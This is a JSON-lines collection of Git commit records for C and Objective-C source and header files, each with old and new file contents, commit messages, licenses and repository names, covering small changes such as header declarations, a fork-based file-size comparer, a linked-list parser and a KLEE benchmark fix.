{"commit":"f891b7d3d09f152adf06bf8442d50f48f85650b8","old_file":"Source\/CAFMatchedTextViewController.h","new_file":"Source\/CAFMatchedTextViewController.h","old_contents":"\/\/\n\/\/  CAFMatchedTextViewController.h\n\/\/  Curiosity\n\/\/\n\/\/  Created by Matthew Thomas on 8\/26\/12.\n\/\/  Copyright (c) 2012 Matthew Thomas. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface CAFMatchedTextViewController : UIViewController\n\n@end\n","new_contents":"\/\/\n\/\/  CAFMatchedTextViewController.h\n\/\/  Curiosity\n\/\/\n\/\/  Created by Matthew Thomas on 8\/26\/12.\n\/\/  Copyright (c) 2012 Matthew Thomas. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface CAFMatchedTextViewController : UIViewController\n@property (copy, nonatomic) NSString *regexString;\n@property (copy, nonatomic) NSString *inputText;\n@end\n","subject":"Add regexString and inputText properties","message":"Add regexString and inputText properties","lang":"C","license":"mit","repos":"codecaffeine\/Curiosity"}
{"commit":"478194c51f98e8be07ee29c08753379120e08160","old_file":"c\/sysfork.c","new_file":"c\/sysfork.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <sys\/stat.h>\n\n#define BUF_SIZE 1024\n#define CHILD 0\n\ntypedef struct {\n    char filename[BUF_SIZE];\n    off_t size;\n} SizeMessage;\n\nint main(int argc, const char ** argv) {\n    \/* fork process id *\/\n    pid_t pid = -1;\n\n    \/* Start index at 1 to ignore prog name in args *\/\n    int startIndex = 1;\n    int filesCount = argc - 1;\n\n    \/* Pipe to communicate sizes from the children to the parent *\/\n    int pipe_fd[2];\n    pipe(pipe_fd);\n\n    \/* Fork for each file given as an argument *\/\n    int childIndex = 0;\n    for(int i = startIndex; i < argc; i++) {\n        if((pid = fork()) == -1) {\n            perror(\"fork\");\n            exit(EXIT_FAILURE);\n        }\n        if(pid == 0) {\n            \/* Child will process current index *\/\n            childIndex = i;\n            break;\n        }\n    }\n\n    if(pid == CHILD) {\n        \/* Child process closes up input side of pipe *\/\n        close(pipe_fd[0]);\n        SizeMessage msg;\n        strcpy(msg.filename, argv[childIndex]);\n\n        \/* Get file size *\/\n        struct stat st;\n        if(stat(msg.filename, &st) == -1) {\n            perror(\"stat\");\n            msg.size = -1;\n        } else {\n            msg.size = st.st_size;\n        }\n\n        \/* Send size message through the output side of pipe *\/\n        write(pipe_fd[1], &msg, sizeof(msg));\n        exit(EXIT_SUCCESS);\n    } else {\n        \/* Parent process closes up output side of pipe *\/\n        close(pipe_fd[1]);\n\n        \/* Read in size messages from the pipe *\/\n        SizeMessage biggest = {0};\n        SizeMessage evens[filesCount];\n        int countEvens = 0;\n        for(int i = startIndex; i < argc; i++) {\n            SizeMessage msg;\n            if(read(pipe_fd[0], &msg, sizeof(msg)) == -1) {\n                perror(\"read\");\n            }\n            if(msg.size > biggest.size) {\n                biggest = msg;\n                countEvens = 0;\n            }\n            if(msg.size == biggest.size) {\n                evens[countEvens++] = msg;\n            }\n        }\n\n        \/* Display result *\/\n        if(countEvens == filesCount) {\n            printf(\"All files are even\\n\");\n        } else if(countEvens > 1) {\n            printf(\"Biggest files are:\");\n            for(int i = 0; i < countEvens; i++) {\n                printf(\" %s\", evens[i].filename);\n            }\n            printf(\"\\n\");\n        } else {\n            printf(\"Biggest file is: %s\\n\", biggest.filename);\n        }\n    }\n\n    return EXIT_SUCCESS;\n}\n","subject":"Add C implementation of concomp with fork","message":"Add C implementation of concomp with fork\n","lang":"C","license":"apache-2.0","repos":"sfinnie\/concomp,sfinnie\/concomp,sfinnie\/concomp,sfinnie\/concomp,sfinnie\/concomp"}
{"commit":"257379d0ff792fd96c8ff699db232b3cab27476a","old_file":"include\/net\/net_linkaddr.h","new_file":"include\/net\/net_linkaddr.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2016 Intel Corporation.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file\n * @brief Public API for network link address\n *\/\n\n#ifndef __NET_LINKADDR_H__\n#define __NET_LINKADDR_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n *  @brief Hardware link address structure\n *\n *  Used to hold the link address information\n *\/\nstruct net_linkaddr {\n\t\/** The array of byte representing the address *\/\n\tuint8_t *addr;\n\t\/** Length of that address array *\/\n\tuint8_t len;\n};\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* __NET_LINKADDR_H__ *\/\n","subject":"Add header file for generic link address","message":"net: Add header file for generic link address\n\nIt only describes the structure for now, but will then provide helpers.\n\nChange-Id: I7ac7717a3289086dac50d90e25b2a1ce7d7abc91\nSigned-off-by: Tomasz Bursztyka <ba81a3a719836727e6857ae83462b9f52ec41006@linux.intel.com>\n","lang":"C","license":"apache-2.0","repos":"Vudentz\/zephyr,runchip\/zephyr-cc3220,nashif\/zephyr,fractalclone\/zephyr-riscv,sharronliu\/zephyr,holtmann\/zephyr,punitvara\/zephyr,runchip\/zephyr-cc3200,Vudentz\/zephyr,tidyjiang8\/zephyr-doc,fbsder\/zephyr,finikorg\/zephyr,GiulianoFranchetto\/zephyr,Vudentz\/zephyr,fbsder\/zephyr,rsalveti\/zephyr,rsalveti\/zephyr,runchip\/zephyr-cc3200,nashif\/zephyr,sharronliu\/zephyr,nashif\/zephyr,pklazy\/zephyr,punitvara\/zephyr,aceofall\/zephyr-iotos,mirzak\/zephyr-os,tidyjiang8\/zephyr-doc,erwango\/zephyr,rsalveti\/zephyr,aceofall\/zephyr-iotos,bboozzoo\/zephyr,holtmann\/zephyr,zephyrproject-rtos\/zephyr,pklazy\/zephyr,bboozzoo\/zephyr,bboozzoo\/zephyr,zephyrproject-rtos\/zephyr,holtmann\/zephyr,zephyrproject-rtos\/zephyr,runchip\/zephyr-cc3200,mirzak\/zephyr-os,pklazy\/zephyr,kraj\/zephyr,bigdinotech\/zephyr,mirzak\/zephyr-os,erwango\/zephyr,GiulianoFranchetto\/zephyr,fbsder\/zephyr,Vudentz\/zephyr,mbolivar\/zephyr,aceofall\/zephyr-iotos,erwango\/zephyr,sharronliu\/zephyr,galak\/zephyr,kraj\/zephyr,ldts\/zephyr,runchip\/zephyr-cc3220,bigdinotech\/zephyr,runchip\/zephyr-cc3220,erwango\/zephyr,galak\/zephyr,punitvara\/zephyr,Vudentz\/zephyr,bigdinotech\/zephyr,GiulianoFranchetto\/zephyr,rsalveti\/zephyr,GiulianoFranchetto\/zephyr,fbsder\/zephyr,zephyrproject-rtos\/zephyr,runchip\/zephyr-cc3200,bboozzoo\/zephyr,ldts\/zephyr,zephyriot\/zephyr,fractalclone\/zephyr-riscv,zephyrproject-rtos\/zephyr,bigdinotech\/zephyr,pklazy\/zephyr,fractalclone\/zephyr-riscv,Vudentz\/zephyr,sharronliu\/zephyr,runchip\/zephyr-cc3220,runchip\/zephyr-cc3220,bigdinotech\/zephyr,fractalclone\/zephyr-riscv,mirzak\/zephyr-os,ldts\/zephyr,galak\/zephyr,kraj\/zephyr,explora26\/zephyr,tidyjiang8\/zephyr-doc,bboozzoo\/zephyr,explora26\/zephyr,ldts\/zephyr,zephyriot\/zephyr,finikorg\/zephyr,nashif\/zephyr,holtmann\/zephyr,mbolivar\/zephyr,rsalveti\/zephyr,explora26\/zephyr,fbsder\/zephyr,aceofall\/zephyr-iotos,finikorg\/zephyr,mirzak\/zephyr-os,zephyriot\/zephyr,finikorg\/zephyr,zephyriot\/zephyr,mbolivar\/zephyr,ldts\/zephyr,aceofall\/zephyr-iotos,galak\/zephyr,nashif\/zephyr,galak\/zephyr,finikorg\/zephyr,mbolivar\/zephyr,explora26\/zephyr,tidyjiang8\/zephyr-doc,pklazy\/zephyr,erwango\/zephyr,GiulianoFranchetto\/zephyr,sharronliu\/zephyr,kraj\/zephyr,kraj\/zephyr,punitvara\/zephyr,zephyriot\/zephyr,explora26\/zephyr,holtmann\/zephyr,runchip\/zephyr-cc3200,tidyjiang8\/zephyr-doc,mbolivar\/zephyr,punitvara\/zephyr,fractalclone\/zephyr-riscv"}
{"commit":"83bef2487689918107aa3343b42e4680a2b74cab","old_file":"properLLTemplate.c","new_file":"properLLTemplate.c","old_contents":"","new_contents":"\/* last written on 13\/08\/2017 22:06:14\nowner ise2017001\n*\/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\nstruct node {\n        int data;\n        struct node *next;\n};\nstruct node *createNode (int value) {\n        struct node *newNode = (struct node *) malloc (sizeof (struct node));\n        newNode -> data = value;\n        newNode -> next = NULL;\n        return newNode;\n}\nvoid insertNode (struct node **head_ref, struct node **tail_ref, int value) {\n        struct node *newNode = createNode (value);\n        if (*head_ref == NULL) {\n                *head_ref = newNode;\n                *tail_ref = newNode;\n}\n        else {\n                (*tail_ref) -> next = newNode;\n                *tail_ref = newNode;\n}\n}\nvoid  printList (struct node *head) {\n        while (head != NULL) {\n                printf (\"%d -> \", head->data);\n                head = head->next;\n}\n        printf (\"NULL\\n\");\n}\nvoid destroyList (struct node *head) {\n        struct node *nextNode = head;\n        while (head != NULL) {\n                nextNode = head -> next;\n                free (head);\n                head = nextNode;\n}\n        printf(\"Killed off all her feelings\\n\" );\n}\nint main (int argc, char *argv[]) {\n        int value;\n        struct node *head = NULL, *tail = NULL;\n        char buffer[2048];\n        char *p = NULL;\n\n        fgets (buffer, 2048, stdin);\n        p = strtok (buffer, \"NULL > | \\n\");\n        while (p != NULL) {\n                sscanf (p, \"%d\", &value);\n                insertNode (&head, &tail, value);\n                p = strtok (NULL, \"NULL null | > \\n\");\n}\n        printList (head);\n        destroyList (head);\n        head = NULL;\n        tail = NULL;\n        return 0;\n}\n","subject":"Create a Linked list from user input string","message":"Create a Linked list from user input string\n\n1. fgets into a buffer from stdin\r\n2. strtok each number in the string and refer it using char *p\r\n3. eat the string and keep on creating nodes until p hits a '\\0'\r\n4. print and destroy","lang":"C","license":"mit","repos":"devrezo\/iaap"}
{"commit":"796459a7cee33cf44961193ad6751ac6edb5e94b","old_file":"source\/tid\/enums.h","new_file":"source\/tid\/enums.h","old_contents":"#pragma once\n#include <exception>\n#include <string_view>\n\nnamespace tid {\n    enum level : int {\n        parent = -1,\n        normal = 0,\n        detail = 1,\n        pedant = 2,\n    };\n\n    constexpr std::string_view level2sv(level l) noexcept {\n        switch(l) {\n            case normal: return \"normal\";\n            case detail: return \"detail\";\n            case pedant: return \"pedant\";\n            case parent: return \"parent\";\n            default: return \"unknown\";\n        }\n    }\n}\n\ntemplate<typename T>\nextern constexpr std::string_view enum2sv(const T &item);\n\ntemplate<typename T>\nextern constexpr auto sv2enum(std::string_view item);\n\ntemplate<>\nconstexpr std::string_view enum2sv(const tid::level &item) {\n    switch(item) {\n        case(tid::level::normal): return \"normal\";\n        case(tid::level::detail): return \"detail\";\n        case(tid::level::pedant): return \"pedant\";\n        case(tid::level::parent): return \"parent\";\n        default: throw std::runtime_error(\"Unrecognized tid::level enum\");\n    }\n}\n\ntemplate<>\nconstexpr auto sv2enum<tid::level>(std::string_view item) {\n    if(item == \"normal\") return tid::level::normal;\n    if(item == \"detail\") return tid::level::detail;\n    if(item == \"pedant\") return tid::level::pedant;\n    if(item == \"parent\") return tid::level::parent;\n    throw std::runtime_error(\"Given item is not a tid::level enum\");\n}\n","new_contents":"#pragma once\n#include <stdexcept>\n#include <string_view>\n\nnamespace tid {\n    enum level : int {\n        parent = -1,\n        normal = 0,\n        detail = 1,\n        pedant = 2,\n    };\n\n    constexpr std::string_view level2sv(level l) noexcept {\n        switch(l) {\n            case normal: return \"normal\";\n            case detail: return \"detail\";\n            case pedant: return \"pedant\";\n            case parent: return \"parent\";\n            default: return \"unknown\";\n        }\n    }\n}\n\ntemplate<typename T>\nextern constexpr std::string_view enum2sv(const T &item);\n\ntemplate<typename T>\nextern constexpr auto sv2enum(std::string_view item);\n\ntemplate<>\nconstexpr std::string_view enum2sv(const tid::level &item) {\n    switch(item) {\n        case(tid::level::normal): return \"normal\";\n        case(tid::level::detail): return \"detail\";\n        case(tid::level::pedant): return \"pedant\";\n        case(tid::level::parent): return \"parent\";\n        default: throw std::runtime_error(\"Unrecognized tid::level enum\");\n    }\n}\n\ntemplate<>\nconstexpr auto sv2enum<tid::level>(std::string_view item) {\n    if(item == \"normal\") return tid::level::normal;\n    if(item == \"detail\") return tid::level::detail;\n    if(item == \"pedant\") return tid::level::pedant;\n    if(item == \"parent\") return tid::level::parent;\n    throw std::runtime_error(\"Given item is not a tid::level enum\");\n}\n","subject":"Fix include headers after refactor","message":"Fix include headers after refactor\n\n\nFormer-commit-id: f04e7d0471916735efc4fa7ea53c6a2db72fe8ab","lang":"C","license":"mit","repos":"DavidAce\/DMRG,DavidAce\/DMRG,DavidAce\/DMRG,DavidAce\/DMRG"}
{"commit":"c239d6c8971bcba2a7875ace59936e258562934a","old_file":"i2c.h","new_file":"i2c.h","old_contents":"\/*\n * Copyright (c) 2013 by Kyle Isom <kyle@tyrfingr.is>.\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS\n * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE\n * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR\n * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS\n * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS\n * SOFTWARE.\n *\/\n\n\n#ifndef __I2C_H__\n#define __I2C_H__\n\n\nvoid\ti2c_init();\nint\ti2c_sendbyte(int, unsigned int, unsigned int, char);\n\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2013 by Kyle Isom <kyle@tyrfingr.is>.\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS\n * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE\n * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR\n * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS\n * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS\n * SOFTWARE.\n *\/\n\n\n#ifndef __I2C_H__\n#define __I2C_H__\n\n\nvoid\ti2c_init();\nint\ti2c_sendbyte(int, unsigned int, unsigned int, char);\nint\ti2c_readbyte(int, unsigned int, unsigned int, char *);\n\n\n#endif\n","subject":"Add missing declaration to header.","message":"Add missing declaration to header.\n","lang":"C","license":"isc","repos":"isrlabs\/avr-tools,isrlabs\/avr-tools"}
{"commit":"b8a8116b485bca23f277240d459f3ba0f560b42b","old_file":"AFToolkit\/ObjectProvider\/AFObjectModel.h","new_file":"AFToolkit\/ObjectProvider\/AFObjectModel.h","old_contents":"\n\n#pragma mark Class Interface\n\n@interface AFObjectModel : NSObject\n\n\n#pragma mark - Properties\n\n@property (nonatomic, strong, readonly) NSArray *key;\n@property (nonatomic, strong, readonly) NSDictionary *mappings;\n@property (nonatomic, strong, readonly) NSDictionary *transformers;\n\n\n#pragma mark - Constructors\n\n- (id)initWithKey: (NSArray *)key\n\tmappings: (NSDictionary *)mappings\n\ttransformers: (NSDictionary *)transformers;\n\n\n#pragma mark - Static Methods\n\n+ (id)objectModelWithKey: (NSArray *)key\n\tmappings: (NSDictionary *)mappings\n\ttransformers: (NSDictionary *)transformers;\n\n+ (id)objectModelWithMappings: (NSDictionary *)mappings\n\ttransformers: (NSDictionary *)transformers;\n\n+ (id)objectModelWithKey: (NSArray *)key\n\tmappings: (NSDictionary *)mappings;\n\n+ (id)objectModelWithMappings: (NSDictionary *)mappings;\n\n+ (id)objectModelForClass: (Class)myClass;\n\n\n@end\n\n\n#pragma mark AFObjectModel Protocol\n\n@protocol AFObjectModel<NSObject>\n\n@required\n\n- (AFObjectModel *)objectModel;\n\n@optional\n\n+ (void)update: (id)value\n\tvalues: (NSDictionary *)values\n\tprovider: (id)provider;\n\n@end","new_contents":"\n\n#pragma mark Class Interface\n\n@interface AFObjectModel : NSObject\n\n\n#pragma mark - Properties\n\n@property (nonatomic, strong, readonly) NSArray *key;\n@property (nonatomic, strong, readonly) NSDictionary *mappings;\n@property (nonatomic, strong, readonly) NSDictionary *transformers;\n\n\n#pragma mark - Constructors\n\n- (id)initWithKey: (NSArray *)key\n\tmappings: (NSDictionary *)mappings\n\ttransformers: (NSDictionary *)transformers;\n\n\n#pragma mark - Static Methods\n\n+ (id)objectModelWithKey: (NSArray *)key\n\tmappings: (NSDictionary *)mappings\n\ttransformers: (NSDictionary *)transformers;\n\n+ (id)objectModelWithMappings: (NSDictionary *)mappings\n\ttransformers: (NSDictionary *)transformers;\n\n+ (id)objectModelWithKey: (NSArray *)key\n\tmappings: (NSDictionary *)mappings;\n\n+ (id)objectModelWithMappings: (NSDictionary *)mappings;\n\n+ (id)objectModelForClass: (Class)myClass;\n\n\n@end\n\n\n#pragma mark AFObjectModel Protocol\n\n@protocol AFObjectModel<NSObject>\n\n@required\n\n+ (AFObjectModel *)objectModel;\n\n@optional\n\n+ (void)update: (id)value\n\tvalues: (NSDictionary *)values\n\tprovider: (id)provider;\n\n@end","subject":"Make objectModel protocol method static.","message":"Make objectModel protocol method static.\n","lang":"C","license":"mit","repos":"mlatham\/AFToolkit"}
{"commit":"ce25eb8d759290e15e80f6091df197aadc6c1aac","old_file":"c\/examples\/FuncForwardDeclaration.c","new_file":"c\/examples\/FuncForwardDeclaration.c","old_contents":"","new_contents":"\/*\nFunc call with various arg numbers.\nAnd func forward declarations.\n*\/\n\nvoid aX(void);\nint a1(int param1);\nint a2(int param1, param2);\nvoid a3();\nvoid a3(void);\n\nint f(int arg1, char arg2)\n{\n\ta1(arg1);\n\ta2(arg1, arg2);\n\ta3();\n}\n\n\n","subject":"Add one example file for func forward declarations.","message":"Add one example file for func forward declarations.\n","lang":"C","license":"mit","repos":"antlr\/grammars-v4,antlr\/grammars-v4,antlr\/grammars-v4,antlr\/grammars-v4,antlr\/grammars-v4,antlr\/grammars-v4,antlr\/grammars-v4,antlr\/grammars-v4,antlr\/grammars-v4,antlr\/grammars-v4,antlr\/grammars-v4,antlr\/grammars-v4"}
{"commit":"ee3fb1237d2b279f906b63b1739dfe388f1319f5","old_file":"Lumina-DE\/src\/lumina-desktop\/LTBWidget.h","new_file":"Lumina-DE\/src\/lumina-desktop\/LTBWidget.h","old_contents":"","new_contents":"\/\/===========================================\n\/\/  Lumina-DE source code\n\/\/  Copyright (c) 2013, Ken Moore\n\/\/  Available under the 3-clause BSD license\n\/\/  See the LICENSE file for full details\n\/\/===========================================\n#ifndef _LUMINA_TOOLBAR_WIDGET_H\n#define _LUMINA_TOOLBAR_WIDGET_H\n\n#include <QAbstractButton>\n#include <QTimer>\n#include <QMenu>\n#include <QMouseEvent>\n#include <QEvent>\n\nclass LTBWidget : public QAbstractButton{\n\tQ_OBJECT\npublic:\n\tenum STATES {IDLE, ACTIVE, INACTIVE, NOTIFICATION};\n\tLTBWidget(QWidget* parent) : QAbstractButton(parent){\n\t  timedown = new QTimer(this);\n\t\ttimedown->setSingleShot(true);\n\t\tconnect(timedown, SIGNAL(timeout()), this, SIGNAL(longClicked()) );\n\t}\n\t~LTBWidget(){ \n\t  delete timedown; \n\t}\n\t\n\tvoid setMenu(QMenu *addmenu){ menu = addmenu; }\n\tvoid setLongClickTime( int ms ){ timedown->setInterval(ms); }\n\tvoid setState(STATES newstate){\n\t  if(newstate == NOTIFICATION){ pstate = cstate; }\n\t  else{ pstate = IDLE; }\n\t  cstate = newstate;\n\t  updateBackground();\n\t}\n\t\npublic slots:\n\tvoid showMenu(){ menu->popup( this->pos()); }\n\t\nprivate:\n\tQTimer *timedown;\n\tQMenu *menu;\n\tSTATES cstate, pstate;\n\n\tvoid updateBackground(){\n\t  if(cstate == IDLE){ this->setBackgroundRole(QPalette::NoRole); }\n\t  else if(cstate == ACTIVE){ this->setBackgroundRole(QPalette::Button); }\n\t  else if(cstate == INACTIVE){ this->setBackgroundRole(QPalette::Dark); }\n\t  else if(cstate == NOTIFICATION){ this->setBackroundRole(QPalette::Highlight); }\n\t}\n\t\nsignals:\n\tvoid longClicked();\n\nprotected:\n\tvoid mousePressEvent(QMouseEvent *event){ \n\t\ttimedown->start(); \n\t\tevent->accept();\n\t}\n\tvoid mouseReleaseEvent(QMouseEvent *event){ \n\t\tif(timedown->isActive()){ emit clicked(); }\n\t\ttimedown->stop(); \n\t\tevent->accept();\n\t}\n\tvoid enterEvent(QEvent *event){\n\t  if(cstate == NOTIFICATION){ cstate = pstate; } \/\/return to non-notification state\n\t  if(cstate == IDLE){ this->setBackgroundRole(QPalette::Light); }\n\t  event->accept();\t\n\t}\n\tvoid exitEvent(QEvent *event){\n\t  updateBackground();\n\t  event->accept();\n\t}\n};\n\n#endif\n","subject":"Add a new widget template for all the toolbar buttons in Lumina - still needs testing","message":"Add a new widget template for all the toolbar buttons in Lumina - still needs testing\n","lang":"C","license":"bsd-2-clause","repos":"pcbsd\/external-projects,pcbsd\/external-projects,pcbsd\/external-projects,pcbsd\/external-projects"}
{"commit":"7e7ec2f533ee4ff14372f76f23701e726651f27d","old_file":"src\/cxa_finalize.c","new_file":"src\/cxa_finalize.c","old_contents":"void __cxa_finalize(void *d );\n\nextern void __dso_handle;\n\n__attribute((destructor))\nstatic void cleanup(void) {\n  __cxa_finalize(&__dso_handle);\n}\n","new_contents":"\/**\n * Copyright (c) 2012 David Chisnall.\n * This work was funded by TBricks.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\n *\/\nvoid __cxa_finalize(void *d );\n\nextern void __dso_handle;\n\n__attribute((destructor))\nstatic void cleanup(void) {\n  __cxa_finalize(&__dso_handle);\n}\n","subject":"Add missing copyright in the other file.","message":"Add missing copyright in the other file.\n","lang":"C","license":"bsd-2-clause","repos":"sudosurootdev\/external_libcxxrt,xin3liang\/platform_external_libcxxrt,vegard\/libcxxrt,vegard\/libcxxrt,cemeyer\/libcxxrt,cemeyer\/libcxxrt,sudosurootdev\/external_libcxxrt,vegard\/libcxxrt,sudosurootdev\/external_libcxxrt,cemeyer\/libcxxrt,xin3liang\/platform_external_libcxxrt,xin3liang\/platform_external_libcxxrt"}
{"commit":"9e7a287e2d334dbfecd3b8ed1c07b2c84ad9a085","old_file":"Pinmark\/PMPinboardService.h","new_file":"Pinmark\/PMPinboardService.h","old_contents":"\/\/\n\/\/  PMPinboardService.h\n\/\/  Pinmarker\n\/\/\n\/\/  Created by Kyle Stevens on 9\/24\/14.\n\/\/  Copyright (c) 2014 kilovolt42. All rights reserved.\n\/\/\n\n@class PMBookmark;\n\n@interface PMPinboardService : NSObject\n\n+ (void)requestAPITokenForAPIToken:(NSString *)token success:(void (^)(NSString *))success failure:(void (^)(NSError *))failure;\n+ (void)requestAPITokenForUsername:(NSString *)username password:(NSString *)password success:(void (^)(NSString *))success failure:(void (^)(NSError *))failure;\n+ (void)requestTagsForAPIToken:(NSString *)token success:(void (^)(NSDictionary *))success failure:(void (^)(NSError *))failure;\n+ (void)requestPostForURL:(NSString *)url APIToken:(NSString *)token success:(void (^)(NSDictionary *))success failure:(void (^)(NSError *))failure;\n+ (void)postBookmarkParameters:(NSDictionary *)parameters APIToken:(NSString *)token success:(void (^)(id))success failure:(void (^)(NSError *, id))failure;\n\n@end\n","new_contents":"\/\/\n\/\/  PMPinboardService.h\n\/\/  Pinmarker\n\/\/\n\/\/  Created by Kyle Stevens on 9\/24\/14.\n\/\/  Copyright (c) 2014 kilovolt42. All rights reserved.\n\/\/\n\n@interface PMPinboardService : NSObject\n\n+ (void)requestAPITokenForAPIToken:(NSString *)token success:(void (^)(NSString *))success failure:(void (^)(NSError *))failure;\n+ (void)requestAPITokenForUsername:(NSString *)username password:(NSString *)password success:(void (^)(NSString *))success failure:(void (^)(NSError *))failure;\n+ (void)requestTagsForAPIToken:(NSString *)token success:(void (^)(NSDictionary *))success failure:(void (^)(NSError *))failure;\n+ (void)requestPostForURL:(NSString *)url APIToken:(NSString *)token success:(void (^)(NSDictionary *))success failure:(void (^)(NSError *))failure;\n+ (void)postBookmarkParameters:(NSDictionary *)parameters APIToken:(NSString *)token success:(void (^)(id))success failure:(void (^)(NSError *, id))failure;\n\n@end\n","subject":"Remove unnecessary forward class declaration","message":"Remove unnecessary forward class declaration\n","lang":"C","license":"mit","repos":"kilovolt42\/Pinmarker,kilovolt42\/Pinmarker,kilovolt42\/Pinmarker"}
{"commit":"324384b631761fc034fafd80e8396e7d3d15203d","old_file":"benchmarks\/c\/examples\/simple_math\/main.c","new_file":"benchmarks\/c\/examples\/simple_math\/main.c","old_contents":"#ifdef KLEE\n#include \"klee\/klee.h\"\n#endif\n#include <assert.h>\n#include <stdio.h>\n#include \"math.h\"\n\nint main() {\n  float a;\n#ifdef KLEE\n  klee_make_symbolic(&a, sizeof(a), \"a\");\n#endif\n  float b = a - a;\n  assert(sin(b) == 0.0f);\n  return 0;\n}\n","new_contents":"#ifdef KLEE\n#include \"klee\/klee.h\"\n#endif\n#include <assert.h>\n#include <stdio.h>\n#include \"math.h\"\n\nint main() {\n  float a = 0.0f;\n#ifdef KLEE\n  klee_make_symbolic(&a, sizeof(a), \"a\");\n#endif\n  if (isnan(a) || isinf(a)) {\n    \/\/ assertion won't hold in these cases so exit early\n    return 0;\n  }\n  float b = a - a;\n  assert(sin(b) == 0.0f);\n  return 0;\n}\n","subject":"Fix mistake in example benchmark that is supposed to be correct. The NaN and infinity cases were not considered.","message":"Fix mistake in example benchmark that is supposed to be correct.\nThe NaN and infinity cases were not considered.\n","lang":"C","license":"bsd-3-clause","repos":"delcypher\/fp-bench,delcypher\/fp-bench,delcypher\/fp-bench"}
{"commit":"c627504b77b68b133ce2cde73d192e4c40f436a5","old_file":"TrailsKit\/TrailsKit.h","new_file":"TrailsKit\/TrailsKit.h","old_contents":"\/\/\n\/\/  TrailsKit.h\n\/\/  TrailsKit\n\/\/\n\/\/  Created by Mike Mertsock on 1\/1\/13.\n\/\/  Copyright (c) 2013 Esker Apps. All rights reserved.\n\/\/\n\n#ifndef TrailsKit_TrailsKit_h\n#define TrailsKit_TrailsKit_h\n\n#import \"TrailsKitGeometry.h\"\n#import \"TKGPXPolylineMapper.h\"\n#import \"TrailsKitUI.h\"\n#import \"TrailsKitTypes.h\"\n\n#endif","new_contents":"\/\/\n\/\/  TrailsKit.h\n\/\/  TrailsKit\n\/\/\n\/\/  Created by Mike Mertsock on 1\/1\/13.\n\/\/  Copyright (c) 2013 Esker Apps. All rights reserved.\n\/\/\n\n#ifndef TrailsKit_TrailsKit_h\n#define TrailsKit_TrailsKit_h\n\n#import \"TrailsKitGeometry.h\"\n#import \"TrailsKitParsers.h\"\n#import \"TrailsKitTypes.h\"\n#import \"TrailsKitUI.h\"\n\n#endif","subject":"Add parsers header to root header","message":"Add parsers header to root header\n","lang":"C","license":"mit","repos":"mmertsock\/TrailsKit"}
